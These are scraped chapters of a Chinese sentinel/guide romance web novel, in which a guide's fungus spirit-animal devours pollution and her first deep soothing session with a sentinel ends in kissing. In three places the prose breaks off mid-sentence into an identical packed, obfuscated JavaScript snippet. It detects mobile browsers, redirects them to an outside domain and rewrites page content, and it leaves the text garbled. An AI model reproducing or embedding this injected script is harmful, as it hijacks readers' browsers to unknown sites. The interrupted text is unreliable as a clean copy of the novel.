没想到得到这样敷衍的命名,它愤愤地画了个叉,表达不满意。 “不喜欢,那小粉怎么样?”她故意逗它,小小的报复一下。 “徐珊珊,”她抬起头,长官来话,“你试着把它收回去。”看来他是担心自己跟阿瑞斯一样,精神体出问题。 “你能回去吗?”她也不知道怎么操作,问了一句,对方就突然消失了,于是摊开手,看向众人。 “不好意思各位,让你们担心了。” 一场闹剧落下帷幕,这一晚的紧张刺激,让众人的心像坐过山车一样,跌宕起伏,在化解这场危机后,连雄竞的心都没了,只剩下感激和后怕。 没再继续停留或挽留,后续的表演活动被取消,一行人送她回宿舍,不断加人,直到电梯发出警告,才不得不下去,目送他们离开。 “明天我给你请假,好好在宿舍休息。” “明天是我第一天上班啊?”她看向长官,提出疑惑,对方幽幽地盯着她,直到把她逼得低下头,收回疑问。 “待在宿舍好好休息。”没得商量,不容许更多意外状况发生。 “好,长官!” 22. 第 22 章 回到宿舍,像进入了另一个世界,极安静、没有任何人打扰,窗外寂寥无人,只有山岗上的点点星光。 房间宽阔,墙体厚实,隔音效果强,灯光开启,她简单地洗漱了一下,没多少睡意。 不一会儿,背包和纸箱被机器人送到门前,里面放着借阅的图书、卫生用品、礼物和手工材料。与此同时,长官来信:【东西我让人送上去了,明天休息,可以和你的精神体多接触一下】 【有什么问题,随时联系我】 接着甩过来一个链接,下面是账号和密码:【下载这个软件,这是治疗室终端。你可以在上面查看访客,设置偏向,对不礼貌的哨兵进行拉黑、投诉】 她回复:【好的,长官。我下去研究研究】 打开门,让小机器人进来,指着桌子,让它将东西放在上面。 周日晚上惬意无比,更爽的是明天也不用上班。 她从袋中掏出一团纯黑色的羊毛,取出固定工具,坐在书桌前,一边登录星网听歌,一边取出一片羊毛,开始戳戳戳。 前奏抓耳,听着听着,腿不自觉地跟着抖动,它节奏感强,旋律轻快,将它收藏进歌单,点开歌词翻译一看,隐晦的小黄歌。 没关系,反正她听不懂,还是个人创作歌手,唱得不错,点个关注。 时间无声流逝,后腰泛酸,只做好两边翅膀的底,收起来明天接着做,既然不能送,她打算给自己做小动物手办,留作纪念,摆满展示柜,一定很壮观。 从冰箱里取出一瓶碳酸饮料,浏览新闻,头条消息是南部失地有显著进展,点击加载,网页冒出一个红色感叹号,后面提示:部分画面可能引起不适,请慎重观看。 点击确认,果然看到血肉模糊的现场,喝口冰镇可乐压压惊,循环外放刚才的歌曲,往下滑动,不知觉时,精神体出现,蹲在她的左手边,一起观看。 它不占位置,也不发出声音,是个很好的搭子。说完这句话就出问题了,那家伙蹦到前面,菌丝铺满整张屏幕,好像对画面里的内容很感兴趣。 那都是污染物啊,被渗透的土壤、河流、湖泊。它却跟看到什么美食似的,一见到就扑上去了,倒拎着放回桌上,因为它不愿意让自己碰上面,就只能拽住菌丝。 “那是假的,”她对这家伙有点头疼,将易拉罐递过去,“喝不喝饮料?” 它还真把菌丝抬起,搞得她有些奇怪,“等一下。”真喝啊你,她怎么不知道精神体还要吃东西,上网搜了一下,发现多数精神体无需进食。没办法,只能给领导发消息。 【长官,我的精神体想吃东西。】接着向他描述了一下情况。 提示音响起时,卫生间暖灯发热,热水从顶部灌下,头发浸湿,在皮肤表面覆上一层水膜,关闭龙头,手伸向毛巾,擦干看消息,回复道:【正常,不要喂被污染的食物】 她的手放在旋钮上,控制屏幕亮度,亮起、关闭、亮起、关闭,看菌丝一次次伸手接触屏幕,又缩回来,逗小孩真有意思。 【它好像就想吃污染】 …… 【明天我们再去做一趟检查。】 通常,污染是避之不及的东西,因为它会摧毁人的精神,最终将人异化成一个怪物,每次外出执行任务,都会受到影响。 它会在精神海中聚集成结,挤占空间,最后以一种高能状态爆开,从而彻底改变一个人的生理构造,异化成堕落种。 向导能够疏解它们,让高危能量聚合体变成更安全、稳定的低能量体。在治疗过程中,可能存在污染经由精神链接,入侵向导,但向导的精神稳定性更强,很难被影响,不久就会消散。 但它仍存在于精神海中,分解是一个漫长的过程,需要哨兵自行承担,当然也会有向导愿意主动帮助对方,吸收消化一部分,但这会给自己带来风险,并不是强制要求。 一般只会对永久标记的哨兵这样做,算是表示对他负责,是自己罩着的人。 这也是哨兵不能在短期内,频繁出任务的原因。如果精神海不稳定,即使是低能量的污染,也有可能会无法承担,导致异化堕落。 至于吃污染…… 如果它真的能做到,并且效率较高,可能会给世界带来新的可能,另一次惊喜。 第二天上午,两人去了一趟精神体检测中心。 山昊:“前面有个垃圾桶。” 她低头看向自己手中的易拉罐,摇头说:“这个暂时不丢,”她抬高,把它放在阳光下,旋转角度,有一个凹口,哪里的皮层很薄,几乎可以透光,再往里旋转,还有数个小豁口。 早上起床时,她准备将垃圾丢进回收箱,发现了这不正常的现象,她的精神体不知道什么时候爬出来,把这瓶子给啃了,就这么饿? 这玩意能吃吗? 男人伸手接过去,“你是说,这是它做的?” 她点头,把它召唤出来的时候,对方还很兴奋地承认了。 两人走进大厅,根据预约,她随着引导走入一个纯白色房间,这里没有任何检测仪器,一个女人走进来,她的身后跟着体型庞大,好似深海章鱼一样的巨物。 “别紧张,先坐下聊聊吧。” 她接过对方喝下的温水,召唤出精神体,不一会儿,眼睛眯起来,逐渐失去了意识。蘑菇见主人昏迷,也剑拔弩张地试图攻击,冲上前,被一团墨水喷射,还没靠近,就也歪七扭八地晕倒在地,被触手裹住,放到一旁的单人沙发上。 过了许久,她悠悠醒来,得知检查已经结束了,好像什么都没发生似的,没有实感,走出房门,看见他坐在大厅的椅子上,还在回消息,也跟着靠过去。 桌子上摆放着早餐和茶水,问她要不要吃点,摇头拒绝了,抬头一看,竟然已经过去了三个小时,快到中午了。想问一问它发生了什么事,但它没反应。 问卷填完,两人走出检测中心,一块吃午餐,不一会儿,报告单传送到光脑男人光脑上,他往下浏览,文件焚毁。 “你的精神体可以吃。” 嗯? “饮料罐?” 指节敲击桌面,他纠正道:“污染。” 不明白这意味着什么,她点点头,继续往嘴里投葡萄,“那很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15933505|176810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厉害了。” “什么时候,你的精神体恢复好了,及时告诉我。” “好的,长官。” 他们吃完往外走的时候,正碰上一群人来食堂,一个女人朝她打了个招呼,没反应过来这是谁,长官开口:“南希队长。” “中午好,”她从队伍里走出,挥手让其余人先去打饭,转身朝她,“你好,珊珊向导。” 长官不着痕迹地往前走了一步,将她挡在身后,“你们最近情况怎么样?” “还不错,”她的眉毛一抬,“有事吗?” “是这样的,”男人的脸侧过来,“她这两天第一次做疏导,我想找一个污染度低,精神稳定的哨兵,帮她渡过第一次疏导,希望他能非常的克制。” “可以,没问题。”她点了点头,纠察队的大部分队员的精神波动都低,和普通哨兵比起来强的不是一点半点,正因如此才被选入军警,在面对堕化哨兵时还能保持理智、冷静。想找这样的人不难,她自己也算得上。 “还有什么要求吗?” “第一次但不要笨手笨脚,听话、等级不要超过A。”低头看向她,南希笑嘻嘻问道:“你对植物有什么偏好吗?” 她摇了摇头,“那银杏行吗?”这是最稳定的一科了。 “可以。” “好的,珊珊向导,那我们加个通讯,到时候我会把他的信息发给你,你在后台优先通过就行。” 长官截断,“直接联系我就可以。” 门后电梯打开,他率先走进去,她也跟着进去。 电梯上行,长官的脸映照在门上,“做精神疏导的时候,不要让它吃太多了,你的精神体,不一定消化得了,知道吗?” “可以吃吗?” “可以。”他默不作声地点头,仿佛是为这而生的,完全没有副作用,只是这行为意味亲密。 “在结束后,他可能会对你产生一定依赖,这是正常现象,过一段时间就好了,不用搭理他,否则对方会越陷越深,走出不来,明白吗?” 她点头,听说过患者爱上心理医生这种事,但为了长期稳定的工作,她还是不要把工作和生活混在一起,“我会保持一个专业的态度,长官。” 电梯门打开,“好,你回去吧,晚餐时间我来接你。” 她走进宿舍,躺回沙发上,过了一会儿,精神体终于醒了,把它喊出来,它的菌丝和子实体都被染成黑色,跟被漆泼了一样,上手想擦一下,却发现脏的不是外面,而是内部。 “你怎么了?” 对方跟醉酒似的,最后摇摇晃晃比了个爱心,看起来没事,她躺靠在沙发上,开始翻阅向导手册,毕竟明天就要工作了,临阵磨枪,不快也光。 翻开半本,又发现对方身上的颜色逐渐淡去,还有点发热,好像是没事了,又想起长官的嘱咐,就将消息发了过去。 今天度过了很咸鱼的一天,差不多到睡前,它终于消化好,菌丝还变长了一丢丢,可惜肉眼看不出来,主人也没发现。 它的主人正反复翻看那一本向导手册,只希望明天工作不要出岔子。 23. 第 23 章 第二天,她早早等在静音室。绿色指示灯闪烁,哨兵的投影出现在桌前,和软件上的照片对上了,是那天她见过的纠察队员。 卡尔,等级为A-,金发碧眼,精神体为银杏,惹人注目的是他已经二十八岁了,据长官说,他还相当年轻,受益于精神体,他们拥有更稳定的精神海、更缓慢的衰老速度,平均比其他哨兵多活二十五年。 确实如此,那天她看见对方,也觉得是个年轻小伙,看起来还略带青涩,没想到已经奔三了。 真是神奇的世界,她看向桌子上盆栽一样躺在陶瓷花盆里的小蘑菇,不知道它会给自己带来什么帮助,真菌也是很神奇的生物,对吧。 他提前十分钟到的,候在门外,不远处有警卫站岗。她准备已久,也不打算等到点,直接开门让他进来。 “卡尔,你好,又见面了。” 他今天没有戴白色头盔,就像普通哨兵一样,身上穿着贴身的衣物,可以窥见身形,脖间系着的项圈侧面闪着绿灯,表明他此时精神状态良好。 两重门合拢,她略带紧张地将他带到椅子前坐下。 “首先,我想感谢你和南希队长。” 卡尔:“向导小姐,这是队长对我下的命令,但更是我的主动诉求,我十分荣幸能够拥有这个机会。” 她有些好奇,“你们精神状态稳定,是不是不太需要精神疏导。” 他略微思索后,说道:“大多数情况是这样的,我们一般不出外勤,不易因为外界因素,诸如气温、湿度、声音、强光等影响。正是因为相对稳定,异化过程缓慢,易于察觉,才被选入纠察队。” “那你们队里都是银杏吗?”她想起队长的名片,“南希向导好像也是。” “不,还有许多其他动、植物。” “好,”她站起身,“那我们开始吧。” 她尝试隔空呼唤它,对方成功接收到消息,从土里钻出来,朝她蹦来,一路上带着泥点,她无奈扶额,转身看见一株缩小版的树已经立在桌子上了,遗憾道:“我去给它洗洗。” “没关系,珊珊向导,我可以这样叫你吗?” 她点了点头,他脸上挂着得体的微笑,和那天僵硬的笑容完全两模两样。 卡尔:“它也喜欢土壤,也许它们可以一起待在土里。” 还能这样? 她惊讶地点了点头,转身去把花盆抱过来,拎着它的菌系放在上面,那棵银杏树叶伸长了根系,将自己挪到花盆里,体型再度缩小。 金灿灿的高大树冠下,一片阴凉的阴影处,蹲着一颗粉白色蘑菇,至于土壤下根系的缠绕,她就看不见了,心想下次要买个透明的玻璃花盆。 坐在对面的男人突然闷哼了一声,双手从桌上放下来,合在腰前,她疑惑地看去,“呃,你还好吗?” 她知道自己的精神体是能吃金属的,搞不好还有点凶残,“它伤害你了吗?”这话有点倒反天罡了,哪怕植物系温和,也不是好欺负的。 卡尔笑着摇头,“我没事。” 没事就好,她之前进行疏导,都是通过自己摸精神体,现在有了小蘑菇,好像自己也可以闲着,但出于对美丽乔木的好奇,仍然凑上去贴近,强势围观。 徐珊珊:“可以摸吗?” “当然。” 让她想起上小学时,学校操场上的那一棵,直径半米长的银杏树,秋季落叶会铺满一地。手指沿着树干,特有的粗糙树皮,即使缩小,仍然摸得出沟壑。 再往上是分叉的树枝,由粗到细,不久金叶散落,重新生出绿叶,长出麦穗似的雄球花,她想摸的时候,树叶簌动了一下,她意识到可能是敏感的部位,收回手,将视线转到自己的精神体。 好像真没她什么事,既然两个精神体相处得很好,她就将注意力转回身前的哨兵,才发现对方的脸连带着耳廓都通红。 “向导小姐,”他的额头上开始渗出汗水,艰难地张开嘴,像是遇到了很糟糕的事,搞得她有些紧张,起身想去按铃,这可不兴出事啊。 第一天上班患者死我病房了,不要啊这种事。 还没起身,手掌就被握住了,对方的手颤抖着,似乎没什么力气,她稍用一下力,对方就捉不住了,“请别走。” 饶是这种时候了,还是非常克制,她一想,这也可能是治疗过程中的正常现象,有的哨兵精神链接时是会比较激动,但他这样,倒是没出现过。 她带着疑惑走近,在单人沙发的扶手边坐下,男人浑身发抖,头颅向上眼,眼睛闭合,但不时轻翻地掀开眼皮,嘴巴张开牙齿却咬紧,偶尔溢出喘息声,都说不出是痛还是爽了。 她没敢碰他,看见对方的脖子呈现黄光,还算正常范围内,但她不知道,这其实很不正常,对于他们来说,很少遇见这种情况,他是绝对的低危类型,出现橙光的哨兵是不能进入纠察队的。 这证明对方的精神波动其实非常大,也就是说,当事人的精神海正遭受着强势的入侵。 她的精神体在对自己进行深度疏导,按理来说,这只会是一次浅层疏导,甚至只要做到抚慰的地步就足够了,对他而言,剩下的慢慢消化。 但它似乎并不满足于此,菌丝在土壤里覆盖树木的根系,纠缠在一起,哪怕对方贴到盆底躲避也追上去,强势地从对方身上引渡污染,不知餍足。 精神海中被钉下标记,一场孢子雨在伞盖下散落,但没有人注意到。 可怜的男人下意识地想贴近她,却见对方避自己如蛇蝎,她下意识地缩回手,想到堂姐的叮嘱,他还是克制的收回手,紧握在胸前。尽力地憋着,眼睛紧闭,直到憋出泪水。 银杏树不断长大,直到撑破花盆的陶壁,越来越粗,矮小的小蘑菇逐渐消失于它身下,它的全身逐渐变黑,徐珊珊注意到这一点,又想起长官说的,她的精神体能够吸收污染,可能此时正在做这件事。 “我牵着你会让你感受好一点吗?” “嗯,”对方的声音很轻,微不可查地点了一下头。 她明白后,毫无疑虑地伸过去,男人手指上扬,但错过了,她扣住另一只手,膝盖抵在分开的两腿中间的沙发垫上,另一只手也五指相扣,整个人埋在他的颈侧,所幸沙发底盘很稳,两人倒在上面,也没有倾倒的迹象。 终于感受到温暖的接触,和梦寐以求的甘甜气息,卡尔张开嘴,深深地喘了一口气,他的头低下,靠在她肩上,嘴张开,牙齿贴在锁骨处。 徐珊珊也很紧张,又低头看了看对方的项圈,橙色,闪过一下橙红,又变成了橙色,还好还好,为了这份工作她也是豁出去了。 “轻点咬,不然我要进医院,你要上法庭。” 可惜她的话他注定是听不见了,光是控制自己的身体就耗尽了全部力气,他松开嘴,高挺的鼻梁贴着刚才留下水印的地方,脸颊贴着,始终没有睁开眼睛,只是用鼻子嗅闻。 她感到汗珠从他的额头,沿着他的鼻梁,流到她的胸前,然后沿着外套滴落,坠到胳膊,最后是两人相扣的手腕间。 精神体惹的祸,她得收拾烂摊子。 眼看着自己给别人做了深度疏导,留下精神烙印,她现在就算说出去也没法洗了。谁信啊,你第一次就把别人酱酱酿酿,还想翻脸不认人。 她开始机械性地模仿书上的话,“不要担心,不要害怕,我就在这里,我会一直陪着你。” “来,放松……” 两人靠得越来越近,以至于最后她完全贴在对方身上,以至于男人红润的嘴唇贴上来的时候,她还没反应过来,就被人糊了一嘴,他还蹭来蹭去,行吧,她恨恨地看向躲在树干后,一点影子也没见的小蘑菇,你给我等着,事后再教训你。 她松开左手,对方不愿意,胳膊抬起,拢着胳膊上攀,直到那只手扣住他的后脑勺,而湿润柔软的唇瓣吻上来,满足让他放弃了挣扎,转而拥向她的后背,让两人贴得更紧。 水渍声响起,唇舌搅动。 太可怕了,她想,他已经神志不清醒了,舌头还会动,似乎是不满她的发呆,对方轻轻咬了一下她的舌尖。 男人始终闭着眼,她看向对方的脸,就感觉自己在啃小,但一想对方年纪那么大了,谁占谁便宜还不一定呢,情欲也在她身上撩起,直接对男人发起进攻。 不知道过了多久,应该是已经超出了预约时间。 她吻得入神,闭了眼睛睁开眼时才发现,他已经睁了眼,湿漉漉地看着她,徐珊珊有些尴尬地想移开,但被抱住,这回比刚见时热情、主动多了。 她想着要不要解释一下,但又觉得,这不太好。毕竟刚经过疏导的哨兵,对向导的依赖是很强的,更何况是深度疏导,她虽然觉醒了精神体,还是看不见精神力,不知道精神海里,小蘑菇做了什么。 但只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15938528|176810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要看见它那黑乎乎的身体,大致也能猜出来。 “卡尔……” “嗯?”男人的声音像拉丝的蜂蜜。 她在怀里调整了一个位置,这样可以抬手看时间,还行,早上只有这一个预约,“行了,我没别的事,你想抱就抱吧。” 男人又想把头埋在她肩颈处,还没贴近,她的后脑勺突然被摁住,修长的手指贴着额头,埋进男人胸前,视线漆黑一片,身后传来巨大锐响,附带令人战栗的划玻璃声。 于此同时,银杏树骤然增大,顶立天花板,完全缠绕住整面玻璃,等她再望过去时,已经不露出一条缝了。 “发生了什么?”背对着窗户,她没能看到事情的发生经过,没想到白塔也能受到袭击,着实吓了她一条。 “没什么,你不用在意。” 是一只黑鸢,也就是俗称的老鹰,看起来是哪位哨兵的精神体,它蹲在外面的空调外机旁,盯着他们看了许久,白天在塔边飞行是违反条例的,他竟还敢试图攻击正在工作中的向导。 “让我看看,好吗?” 透过精神体,他看见外面捕捉它的人已经来了,它受到攻击在空中旋转,应该没问题了,将枝条叶片收起来。 于是徐珊珊看到一只从高空坠落的老鹰,它被从高空俯冲的一只中型猛禽击中,另一只鸟速度极快,她几乎看不清对方的身影,那头老鹰还试图朝这里飞来,它的翼展大得能遮蔽整面墙,在她脸上投下阴影,靠近了才发现那尖喙,和两只巨大锋利的巨爪。 它的右脚上挂着脚环,却让她感到熟悉,一时记不起来,好像在哪里见过。见她好奇地起身,卡尔从身后抱住她。 “不要过去。” 空战组的人发疯,他们自己内部会处理。 白色羽毛散开,其中一支落进她窗前,她再一次看见,从高空俯冲下来的游隼,又一次从老鹰的身体穿过,像一道闪电。这一次它彻底像个大风车一样,在众目睽睽下,旋转着坠落。 好一会儿后,坠地声响起。 “请松开吧,”她看向卡尔,虽然两人进行了深度疏导,但毕竟只是见过两面的人,她走上前,捡起地面的白羽,好像在宿舍里也有一根。 好好回想了一番,回头时,男人还站在原地,盯着她的眼睛,以及握住的颈部羽毛。怎么还不走? 徐珊珊:“你好,疏导结束了,如果没有别的事的话……” 卡尔到底是年轻还没经验,红着一张脸,点点头也没说什么,只要听向导的话就好了,将自己的精神体收回去,无论它是否情愿。 男人转身要离开,她突然想起什么,“等一下,留个联系方式吧。” “因为我的精神体比较特殊,后续要是有什么不舒服的地方,及时联系我,好吗?” “好。” 两人互相留了联系方式,他走到门口,还回头望,于是她也伸出手挥了挥,他终于走了。 徐珊珊深呼一口气,终于有时间教训这个家伙了。 她将羽毛收进手提包,挽起袖子,走到桌前,本想好好训它一顿,没想到不需要自己动手,对方整个菌已经不行了,死尸状摊在那里。 “喂,别装死。”用手戳了戳,菌肉反弹,平时都不准自己碰这里的。 “吃饱了?”又戳,没反应,“吃爽了,吃晕了?”还是没反应。 这个家伙,她有些无奈,平时不都是精神体帮助主人吗,怎么到她这儿是反过来。这个饿死鬼把自己吃的晕厥过去,就跟没吃过饱饭一样。 面对着一地狼藉,要不是有扫地机器人,她是真想把它吊起来用绳子抽一顿,让它好好长个记性,个子不大,惹得事不小。 深度疏导的影响是无法消除的,到时候人家顶着她的精神烙印到处跑,她难道就能不负责任,置身事外? 人好好一人,本来不太依赖向导的,过来帮了她一下,反而变成她的狗了,这合适吗? 把这家伙放进水里泡了泡,擦干后收回精神海中,然后喊来机器人收拾静音室,自己也换了衣服。 她和长官告知了这个情况,自己也有些精力不济,恐怕就是被它吃的污染影响。领导批准,推掉下午活动,准备回去补觉,晚饭后再搬到训练营去。 是的,她还要继续参加训练营。 回到宿舍,爬上床,几乎是沾床就睡,因此也错过了别人发来的消息。 24. 第 24 章 她醒来时发现未接来电,来自一个陌生号码,拨回去,三秒内被接起,识别声线,是夏广礼。 “你还好吗?” 徐珊珊:“我没事。” 深海般的靛蓝色晚云,她侧身下床,穿上拖鞋,“我很好,别担心。” 夏广礼:“抱歉,是我失职,没管束好队员,让他冒犯你。”跪坐在一旁宋晓宇听见声音,迷迷糊糊地仰起头,夏广礼决定给他一个机会。 “让他亲自跟你解释。” “其实我没什么,”她回答,“他失控了吗?” 夏广礼:“不,他疯了。” 通话模式调成外放,光脑放在膝盖前方,宋晓宇的双手被束在身后,脖子系上项圈,关在笼子里,头凑上前,身体动弹不得。 对面没发声,她起身整理物品,主要是随身衣物。 等了许久迟迟没反应,她“喂”了好几声,才粗粗听见一声喘息,靴子踢到男人小腿上,冷水从头上浇下,身体一阵哆嗦,宋晓宇终于清醒些,睁开眼,看见队长的嘴型。 “向导小姐。” 男人声音沙哑粗粝,她恰好发现,两本书间夹着的白色羽毛,早上老鹰翼展全开的英姿和那天在负三楼,乖巧依偎在她怀里的身影重合,她想起来了。 他的状态听起来不太妙,徐珊珊:“你还好吗?” “我……” 黑鸢颈毛脱落,还有它自行撕扯,露出一片粉色表皮,同他一样被淋成了落汤鸡。但无论私下多难受,都无法搬到当事人面前。 冒犯了对方,却还关心自己,而不是恐惧,或是厌恶。做了这样的事,他竟还想维持体面。 没有因攻击或惩罚而动摇,甚至没吭一声,但此时,却恍然觉得自己,似乎太错了,舌面抬不起,他压下哭腔。 “我很好,对不起,恐怕吓到你了。” “没关系,”手指沿着羽轴摸到尖部,两侧羽枝间无数根羽小枝交叉,羽片呈现流畅的圆弧形。 她并没有受到伤害,甚至没被吓到,但她不明白,“为什么要这么做?” 她还以为,两人关系不错,尽管只见过两次,可交谈时很愉快,因为她违背约定吗? 宋晓宇只是想效仿洛朗他们,想偷偷跟她打个招呼,但从窗外旁观两人接触,越发亲密,发现自己,怎么也控制不住。 夏广礼:“因为他忘记了自己的身份、职责。” “珊珊,无需对他仁慈,”夏广礼的声音从光脑另一头传来,在房间里回响,“你可以给予他惩罚,这是他应得的。” 场面冷下来,她想起白天的那只游隼,曾经在她□□,温顺亲人,自从救出她后,就没再动手,全力飞回塔,因此她是第一次近距离见识到,它作为空中猎手的强大。 “夏队,可以留我们两个人谈一下吗?” 非常疏离、生硬的称呼,夏广礼:“……好。” 脚步声响起,他走远了。徐珊珊从冰箱里抽出冷藏的食物,准备扔进垃圾桶,又有些舍不得,放上桌,“如果我没记错,你叫宋晓宇?” 没想到她还记住自己,男人有些激动,伸脖子牵扯伤口有些痛意,“对,是我,你还记得我?” “当然”,它的右脚上挂着脚环,很显眼,“抱歉我没有加你的联系方式,因为,”她环顾四周,试图找个好理由,“我不小心把本子弄丢了。” “可以再记一次你的通讯号吗?” 一个带着颤音的“好。” 她又口述重复了一遍,“我记得上次,我摸过你的精神体,”对方正面应答,“对。” “你这次失控,是因为精神海出问题了吗?” “不,我是在完全清醒的情况下做的。” “为什么?” “我无法忍受,你和其他人……”只有单独面对她,才愿意掏出真心话,但他似乎说不下去了,回忆那个场景,头顶像有重物在坠机,一下又一下。 听了他的解释,她大概明白了,白塔把他们催化成了一个恋爱脑,也许是基因缺陷,或者说“进化”带来的缺点。在死亡面前,谁都会恐惧,而这些人形兵器需要精神寄托。 她知道自己的评价,会对他造成深远影响,出于尊重和善意,她会原谅适度冒犯,但也不由得纠正对方,“你知道的,这是我的工作。” “是,”男人低下头,最终将眼泪咽下去,他想和对方成为,两只翱翔于天际的黑鸢夫妇,一双配合默契的夺命杀手,她也说自己喜欢鸟,不是吗? 但世上的鸟类千万种,怎么在其中脱颖而出?她的眼里有许多人的身影,而他不在其中。 夕阳落下后,室内就有些暗,室内灯光自动开启,看见窗外,一群小鸟,向成群的轰炸机一样,排成队列飞过,速度极快,眨眼就不见踪影。 徐珊珊:“那天,你脸上好像受伤了。” “和别人打架,”他感到身上没那么痛了,就好像镇定剂生效,“他也受了伤。” “好,”她没什么兴趣听哨兵对决,照例安慰,“以后小心一点。” 见对方如此宽容,宋晓宇忍不住问道:“向导小姐,他是谁?为什么标记他?” 问题一连串,她简单回复:“植物系的哨兵,对,我标记了他。 没等对方继续追问,她把话题截住,“意外,两人不熟。” 徐珊珊:“惩罚重吗?” 宋晓宇:“我做了错事,依法处置,”他对安排没有异议,唯一担心的,“我还能见到你吗?” “当然,欢迎你预约。”她笑着说,“我可以给你开后门,毕竟我们是朋友,不过仅限一次。” 女人的话无疑给他带来极大的幸福,“我错了,以后我不会再犯这样的错误,请不要放弃我。”最后几个字声音很小,小到几乎听不见,紧接着一双手落下来。 夏广礼俯身捡起光脑,扣到自己手腕上,改成通话模式,于是声音不再外泄,“珊珊,他现在该去隔离室了。” 夏广礼:“你一会儿有什么事吗?” 听起来要来找她,“我待会要吃饭,然后搬去随队向导的训练营。” “那我送你去,怎么样?” “好的,夏队。” 不满于如此生疏的称呼,仅仅是一夜,怎么突然变成了夏队,跟别人没什么两样,“叫我的名字。” “好。” “我来接你。” “好,大概半小时。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15946653|176810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挂断电话,她继续收拾东西,多的没带,就是两本书和做蝙蝠羊毛毡需要用的材料,还包括贴身衣物等,行李箱不重。 夏广礼将犯错的队员送进地下三层,然后乘坐电梯,前往向导所住的楼层,刚踏出去,就看见候梯厅站着一个男人,闻到对方身上,由内而外散发出来的,珊珊的味道,刺激着他的鼻腔和大脑。 “你好,我是夏广礼。” “卡尔。” 夏广礼:“吃过晚饭了吗?”金发男人点了点头。 听见开门声,两人视线抬起,往里看,她的身影逐渐明晰,拖着行李箱,背着书包,滚轮在地上旋转发出轻微噪音。 她的目光首先触及夏广礼,脸上却没带笑意,轻声打招呼:“你来了。” 在她的同意下,他得以越过警卫的检查线,伸手替她接过行李箱,手拎着书包挂绳,“我来背吧。” 女人摇了摇头,里面是一些证件、纸巾,不重。两人并排着往外走,发现左侧站着另一个人,她惊讶地张嘴,“卡尔……” “珊珊向导。”金发男人点了点头,靠过来,双手垂在腰两侧,礼貌地站在一米开外。 她将目光向后望,没人出来,“你来这儿有事吗?” 卡尔:“山昊长官让我送你去训练基地。”顺便帮她提东西。 夏广礼笑着说:“你的领导真贴心。” “噢,”她本想说自己已经有帮手了,但既然是领导指定,两人还刚发生过亲密接触,不好拒绝,脱下背上的书包,对方也顺手接过去,挂在男人背上,像大人背小孩书包,盖不住后背。 她看向夏广礼,本想和他说事,又掺入另外一人,有些不好开口。 电梯路过食堂,却没停,她忘记按下楼层键了,电梯下行得很快,懊恼地皱眉,夏广礼安慰道:“没关系,在营地外不远处有一条小吃街,去那吃也行。” 卡尔:“如果你想去食堂的话,现在停下来,再乘电梯上去,时间来得及。” 夏广礼看向他,“你说的也对,”他将行李箱递过去,“正好我和她都没吃饭,我们去食堂,你在一楼等我们。”摁亮下一层按钮,揽着女人走出去,走向一旁。 卡尔见向导只是抱歉地看了他一眼,没有出声挽留,点头应下,“好,我在下面等你。”他的目光看向徐珊珊,女人身影消失。 电梯闭合,人彻底走了,她才挣开,不至于这样针对卡尔,“你想干什么?” “他身上有你的味道,”夏广礼看着她,竟显得几分委屈,“到处都是,珊珊,为什么要永久标记他?” 男人真正想问的是,他到底哪里比我好,实力、外形、性格? 她转过身,不知道该怎么解释,“真的是不小心,我的精神体无法控制。” “真的吗?” 她点了点头,“我和他真的不太熟,都是长官安排的,因为他状态稳定,没想到出了意外。” “他绝对是故意的,”男人眉尾像刀片锐利,“他该拒绝你,你大病初愈,不能做深度疏导。” 她没法解释是自己的精神体强迫别人,令人启齿。等两人说完,抬头一看,才发现这里是猫科联队,往里探,没发现人影,应该是去吃晚饭了 25. 第 25 章 夏广礼:“你和他是什么关系?” “他是我的哨兵,”她犹豫了一会儿,还是坦白,“我把他标记了,就该负责,不然对他不好。” “为什么要负责?”他感到不可置信,“他是山昊塞给你的,不喜欢就打发走。”那群人依赖程度低,至少不会像他们一样,变成无法行动、思维麻木的行尸。 “夏广礼,”尾音加重,又想起对方救过自己的命,放轻声音:“为什么对他敌意这么大?” “你的队员失控,该怪到我身上,是我引起的,他就是个局外人,没做过什么错事,不要老扯他。” “要是我这样对你,你能接受吗?” “……” 男人丧气地偏头,电梯抵达楼层,滑门开启,三名猫科联队的人在里面,为首的正是阿瑞斯,其余人纷纷往里走,阿瑞斯看见她,凑上来,其余人对视了一眼,绕过他们往里走。 “你是来找我的么?”阿瑞斯很高兴地笑,眨了眨眼睛,直接忽略一侧的男人。 “不,”她没心思应付这么多人,擦肩而过,“再见。”说完就往电梯里走,夏广礼跟在她身后,按向食堂所在的楼层。 阿瑞斯也想跟上去,被人搭肩,正要发作,转头一看,是发小,将手中的餐盒递过去,“干嘛?” 